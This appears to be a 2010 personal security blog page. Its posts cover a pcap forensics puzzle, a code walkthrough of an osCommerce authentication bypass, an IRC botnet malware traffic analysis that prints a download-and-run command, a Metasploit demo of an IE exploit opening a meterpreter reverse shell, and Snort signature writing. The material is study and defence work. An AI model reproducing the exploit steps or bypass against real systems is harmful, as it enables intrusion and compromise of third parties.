Wednesday, March 24, 2010

Network Forensics Puzzle Contest: Puzzle #4: The Curious Mr. X

Below are my answers for the Network Forensics Puzzle Contest: Puzzle #4: The Curious Mr. X. I didn't get to this till after the 3/18 deadline, so I wasn't able to officially submit it.

1. What was the IP address of Mr. X's scanner?

10.42.42.253

Look for source IPs sending SYNs:

$ tcpdump -lnr evidence04.pcap 'tcp[13] & 0x02 = 0x02' | cut -d ' ' -f 2 | awk -F '.' '{print $1 "." $2 "." $3 "." $4}' | sort | uniq -c | sort -nr
tcpdump: WARNING: snaplen raised from 116 to 65535
7416 10.42.42.253
27 10.42.42.50
12 10.42.42.25

Verify traffic looks like a scan:

$ tcpdump -lnr evidence04.pcap 'tcp[13] & 0x02 = 0x02' and src host 10.42.42.253 | more

2. For the FIRST port scan that Mr. X conducted, what type of port scan was it? (Note: the scan consisted of many thousands of packets.) Pick one:

TCP Connect - you can see the the full TCP 3-way handshake for open ports.

* TCP SYN - 2nd scan using static source port of 36020 - RST is sent as soon as a SYN/ACK is received for open ports
* TCP ACK - ACK scanning isn't really a portscan type, more of a "are you alive?"
* UDP - some UDP traffic, but not a scan
* TCP Connect - 1st scan using random source ports
* TCP XMAS - no XMAS packets, 'tcp[13] & 0xff = 0xff'
* TCP RST - no RST scanning, 'tcp[13] & 0x04 = 0x04'

3. What were the IP addresses of the targets Mr. X discovered?

sort/uniq out destination addresses:

$ tcpdump -lnr evidence04.pcap tcp and src host 10.42.42.253 | cut -d ' ' -f 4 | awk -F '.' '{print $1 "." $2 "." $3 "." $4}' | sort | uniq -c | sort -nr
3402 10.42.42.25
2041 10.42.42.50
2007 10.42.42.56

4. What was the MAC address of the Apple system he found?

00:16:cb:92:6e:dc

Determined via Wireshark's MAC Layer name resolution, confirmed via http://www.coffer.com/mac_find/?string=00%3A16%3Acb%3A92%3A6e%3Adc

5. What was the IP address of the Windows system he found?

10.42.42.50

Seeing NETBIOS broadcasts:

$ tcpdump -lnr evidence04.pcap udp
tcpdump: WARNING: snaplen raised from 116 to 65535
18:36:52.989943 10.42.42.50.137 > 10.255.255.255.137: udp 50

Seeing SYN/ACKS for normal windows ports of 135/139:

$ tcpdump -lnr evidence04.pcap 'tcp[13] & 0x12 = 0x12'
tcpdump: WARNING: snaplen raised from 116 to 65535
18:34:07.824240 10.42.42.50.139 > 10.42.42.253.56257: S 3796692784:3796692784(0) ack 3001813132 win 65535 (DF)
18:34:08.106871 10.42.42.50.135 > 10.42.42.253.42214: S 2938239898:2938239898(0) ack 2994045279 win 65535 (DF)

6. What TCP ports were open on the Windows system? (Please list the decimal numbers from lowest to highest.)

135
139

Look for SYN/ACKs sourcing from Windows system:

$ tcpdump -lnr evidence04.pcap 'tcp[13] & 0x12 = 0x12' and src host 10.42.42.50

Tuesday, March 23, 2010

osCommerce-v2.2 RC2 Authentication Bypass

http://www.milw0rm.com/exploits/9556 exploits an authentication bypass vulnerability in the latest version of osCommerce-v2.2 RC2--allows an attacker to upload and execute an arbitrary file.

file_manager.php is one of many administrative scripts in the "admin" directory. In this PHP script we have:

31: $action = (isset($HTTP_GET_VARS['action']) ? $HTTP_GET_VARS['action'] : '');


$action is set to the value of the "action" parameter passed via the URL.
34: switch ($action) {

50: case 'save':
51: if (isset($HTTP_POST_VARS['filename']) && tep_not_null(basename($HTTP_POST_VARS['filename']))) {
52:     if (is_writeable($current_path) && ($fp = fopen($current_path . '/' . basename($HTTP_POST_VARS['filename']), 'w+'))) {
53:         fputs($fp, stripslashes($HTTP_POST_VARS['file_contents']));
54:         fclose($fp);
55:         ...
56:     }
57: }

One of the possible actions is "save". Save checks for a POST parameter called "filename". Next, a file is created in the current working directory using the value of the parameter as its name. The contents of the "file_contents" POST parameter are written to the file and it is closed.

This doesn't explain how authentication is bypassed. If you try POSTing "filename" and "file_content" to "/path/admin/file_manager.php?action=save" you are redirected to a login page.

The exploit builds a POST URL that looks like "/admin/file_manager.php/login.php?action=save". The "file_manager.php/login.php" part looks kind of weird because file_manager.php isn't a directory, but this is a valid (obscure?) feature of PHP related to the $_SERVER['PHP_INFO
'] variable. We'll come back to this shortly, but first, some script initializations and startup.

file_manager.php requires admin/includes/application_top.php on line 13. application_top.php has the following:

37    $PHP_SELF = (isset($HTTP_SERVER_VARS['PHP_SELF']) ? $HTTP_SERVER_VARS['PHP_SELF'] : $HTTP_SERVER_VARS['SCRIPT_NAME']);


$HTTP_SERVER_VARS is set equal to $_SERVER in line 38 of admin/includes/functions/compatibility.php. $_SERVER['PHP_SELF'] is set to "/admin/file_manager.php/login.php" for the exploit's POST.
132  // redirect to login page if administrator is not yet logged in
133    if (!tep_session_is_registered('admin')) {

We don't have an admin session.
134      $redirect = false;
135  
136      $current_page = basename($PHP_SELF);

Tracing $PHP_SELF back through $_SERVER['PHP_SELF'], this becomes "login.php" using a URL of "/admin/file_manager.php/login.php".
138      if ($current_page != FILENAME_LOGIN) {

...

146        $redirect = true;
147      }

FILENAME_LOGIN is defined as "login.php" on line 30 of admin/includes/filenames.php. We don't enter this if statement.
149      if ($redirect == true) {
150        tep_redirect(tep_href_link(FILENAME_LOGIN));
151      }

$redirect is never set to "true", so we don't redirect to a login.php and the authentication is bypassed.

Monday, March 22, 2010

Sockets Practice: Update

Still working my way through UNP. I've added a banner grab option and timeouts for the connect/read calls in portscan.c and portsweep.c.

More to come... I have some ideas I want to try out after I get through the "Threads" and "Raw Sockets" chapters; also, I'm not happy with the code layout/formatting and there is too much duplicated code between the 2 programs.

Tuesday, March 16, 2010

J.exe feat. koko.exe

J.exe starts us off with a DNS query for lamer.mqbol.com (74.117.174.69) and a TCP connect to it on port 3935. This port is hosting an IRC server which is hosting a botnet channel:

NICK [00|USA|173151]
USER XP-7120 * 0 :LAB2
:li16.centertel.il NOTICE AUTH :*** Looking up your hostname...
:li16.centertel.il NOTICE AUTH :*** Found your hostname
:li16.centertel.il 001 [00|USA|173151]
:li16.centertel.il 002 [00|USA|173151]
:li16.centertel.il 003 [00|USA|173151]
:li16.centertel.il 004 [00|USA|173151]
:li16.centertel.il 005 [00|USA|173151]
:li16.centertel.il 005 [00|USA|173151]
:li16.centertel.il 005 [00|USA|173151]
:li16.centertel.il 422 [00|USA|173151] :MOTD File is missing
:[00|USA|173151] MODE [00|USA|173151] :+iwRG
MODE [00|USA|173151] -ix
JOIN ##J##
MODE [00|USA|173151] -ix
JOIN ##J##
MODE [00|USA|173151] -ix
JOIN ##J##
:[00|USA|173151]!XP-7120@my.hostname.net JOIN :##J##
:li16.centertel.il 332 [00|USA|173151] ##J## :.NAZEL http://yestube.net/koko.exe cnhfnnv.exe 1
:li16.centertel.il 333 [00|USA|173151] ##J## J4k3r 1268655877
MODE [00|USA|173151] -ix
JOIN ##J##
PRIVMSG ##J## :.::[Download]::. File download: 84.0KB to: cnhfnnv.exe @ 84.0KB/sec.
:li16.centertel.il 404 [00|USA|173151] ##J## :You must have a registered nick (+r) to talk on this channel (##J##)
PRIVMSG ##J## :.::[Download]::. Failed to create process: "cnhfnnv.exe", error: <267>
:li16.centertel.il 404 [00|USA|173151] ##J## :You must have a registered nick (+r) to talk on this channel (##J##)
PING :li16.centertel.il
PONG li16.centertel.il

The executive summary for the botnet follows:

Nickname: [00|USA|173151]
Reported hostname of the IRC server: li16.centertel.il
Channel: ##J##
Channel Topic: .NAZEL http://yestube.net/koko.exe cnhfnnv.exe 1

Looking at the topic and the failed download messages, J.exe checks the topic for commands and runs them. In this case it tries downloading http://yestube.net/koko.exe (69.4.235.235) and saving it as cnhfnnv.exe:

GET /koko.exe HTTP/1.1
User-Agent: Mozilla/4.0 (compatible)
Host: yestube.net

HTTP/1.1 200 OK
Date: Wed, 17 Mar 2010 03:45:35 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_p
assthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5.8.8
Last-Modified: Thu, 04 Mar 2010 05:03:10 GMT
ETag: "abe0010-1502b-83e35f80"
Accept-Ranges: bytes
Content-Length: 86059
Content-Type: application/x-msdownload

...

For whatever reason this download didn't work, but koko.exe does looks familiar!

The new koko.exe binary and the old aren't the same:

dennis@ipa:~$ ls -l koko.exe
-rw-r--r-- 1 dennis wheel 86059 Mar 16 22:48 koko.exe
dennis@ipa:~$ md5 koko.exe
MD5 (koko.exe) = 4e9d97f9ff17a2240dafa7d65eef65ca

old:

dennis@ipa:~/projects/exe-sigs/J.exe$ ls -l J.exe
-rw-r--r-- 1 dennis dennis 39424 Mar 16 21:09 J.exe
dennis@ipa:~/projects/exe-sigs/J.exe$ md5 J.exe
MD5 (J.exe) = ce818983eaabca13114fdda012b63dd4

But a quick run through mwanalysis shows it is up to the same tricks of downloading http://193.242.108.49/Dialer_Min/number.asp.

Virustotal
mwanalysis
ThreatExpert

Wednesday, March 10, 2010

Metasploit Demo: Microsoft Internet Explorer iepeers.dll Use After Free

Here's a quick Metasploit demo of the latest Internet Explorer 6/7 0day:

msf > use windows/browser/ie_iepeers_pointer
msf exploit(ie_iepeers_pointer) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ie_iepeers_pointer) > set LHOST 10.0.0.1
LHOST => 10.0.0.1
msf exploit(ie_iepeers_pointer) > exploit
[*] Exploit running as background job.
msf exploit(ie_iepeers_pointer) >
[*] Started reverse handler on 10.0.0.1:4444
[*] Using URL: http://0.0.0.0:8080/JOk5k9hl
[*] Local IP: http://192.168.1.102:8080/JOk5k9hl
[*] Server started.
[*] Sending Microsoft Internet Explorer iepeers.dll Use After Free to 10.0.0.2:1038...
[*] Sending stage (747008 bytes)
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.2:1039)
[*] Session ID 1 (10.0.0.1:4444 -> 10.0.0.2:1039) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1892)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 1148
[*] New server process: notepad.exe (1148)

msf exploit(ie_iepeers_pointer) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter LAB\Administrator @ LAB (1892) 10.0.0.1:4444 -> 10.0.0.2:1039

msf exploit(ie_iepeers_pointer) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: LAB
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: en_US

References:

Microsoft Internet Explorer 'iepeers.dll' Remote Code Execution Vulnerability

Friday, March 5, 2010

Snort Signature Practice: video.exe

video.exe is a fake AV malware. It resolves softmetalgroup.com (195.88.190.54) and does a GET for "/check". The server returns a "200 OK", but a "404 Not Found" page is returned:

GET /check HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: softmetalgroup.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: nginx/0.7.64
Date: Fri, 05 Mar 2010 23:10:38 GMT
Content-Type: application/octet-stream
Content-Length: 208
Last-Modified: Fri, 16 Oct 2009 15:35:48 GMT
Connection: keep-alive
Keep-Alive: timeout=20
Accept-Ranges: bytes

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /check was not found on this server.</p>
<hr>
</body></html>

This is part of the check-in process as it doesn't match up with a proper 404 from nginx as we'll see later.

A POST comes next that pushes a binary file:

POST /loads2.php?r=56.1 HTTP/1.1
Content-Type: multipart/form-data; boundary= 82859F64871E
User-Agent: Microsoft Internet Explorer
Host: softmetalgroup.com
Content-Length: 351
Connection: Keep-Alive

--82859F64871E
Content-Disposition: form-data; name="file"; filename="afile"
Content-Transfer-Encoding: binary
Content-Type: application/octet-stream

...

--82859F64871E--HTTP/1.1 200 OK
Server: nginx/0.7.64
Date: Fri, 05 Mar 2010 23:10:39 GMT
Content-Type: text/html; charset=windows-1252
Transfer-Encoding: chunked
Keep-Alive: timeout=20
X-Powered-By: PHP/5.3.1

2
OK
0

I base my signature off of this request, filename, parameter name and User-Agent:

alert tcp $HOME_NET any -> any $HTTP_PORTS (msg:"video.exe malware"; flow:to_server; content
:"POST"; http_method; uricontent:"/loads2.php?r="; content:"User-Agent\: Microsoft Internet Explorer|0D 0A|"; sid:0305201001;)

Next, there are multiple GETs for "/omni.gif". The User-Agent switches to something that looks more legitimate and proper 404 errors are returned:

GET http://softmetalgroup.com/omni.gif HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: softmetalgroup.com
Connection: close

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Date: Fri, 05 Mar 2010 23:12:21 GMT
Content-Type: text/html; charset=windows-1252
Content-Length: 529
Connection: close

<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/0.7.64</center>
</body>
</html>
<!-- The padding to disable MSIE's friendly error page -->
...

I'm not sure if these are keep-alive requests or not.

Virustotal
ThreatExpert
mwanalysis

Tuesday, March 2, 2010

Snort Signature Practice: decode.c

decode.c steps through a Snort signature changing the printable "content: |xx|" blocks to ASCII so that it is easier to read.

Using a sample (by Don Jackson of Secureworks) from Emerging Threats Virus rules:

dennis@ipa:~/projects/decode$ ./decode
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET TROJAN RhiFrem Trojan Activity - cmd"; flow:to_server,established; content:"GET|20|"; offset:0; depth:4; content:"User|2D|Agent|3A 20|Mozilla|2F|5|2E|0|20|Gecko|2F|20050212|20|Firefox|2F|1|2E|5|2E|0|2E|2"; pcre:"/^GET\x20[^\x0D\x0A]+\x3Fmod\x3Dcmd\x26user\x3D\w+[^\x0D\x0A]*\x20HTTP\x2F1\x2E0\x0D\x0A.*\x0D\x0AHost\x3A\x20\w+/"; reference:url,www.castlecops.com/U_S_Courts_phish792683.html; classtype:trojan-activity; reference:url,doc.emergingthreats.net/2008139; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Rhifrem; sid:2008139; rev:3;)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET TROJAN RhiFrem Trojan Activity - cmd"; flow:to_server,established; content:"GET "; offset:0; depth:4; content:"User-Agent: Mozilla/5.0 Gecko/20050212 Firefox/1.5.0.2"; pcre:"/^GET\x20[^\x0D\x0A]+\x3Fmod\x3Dcmd\x26user\x3D\w+[^\x0D\x0A]*\x20HTTP\x2F1\x2E0\x0D\x0A.*\x0D\x0AHost\x3A\x20\w+/"; reference:url,www.castlecops.com/U_S_Courts_phish792683.html; classtype:trojan-activity; reference:url,doc.emergingthreats.net/2008139; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Rhifrem; sid:2008139; rev:3;)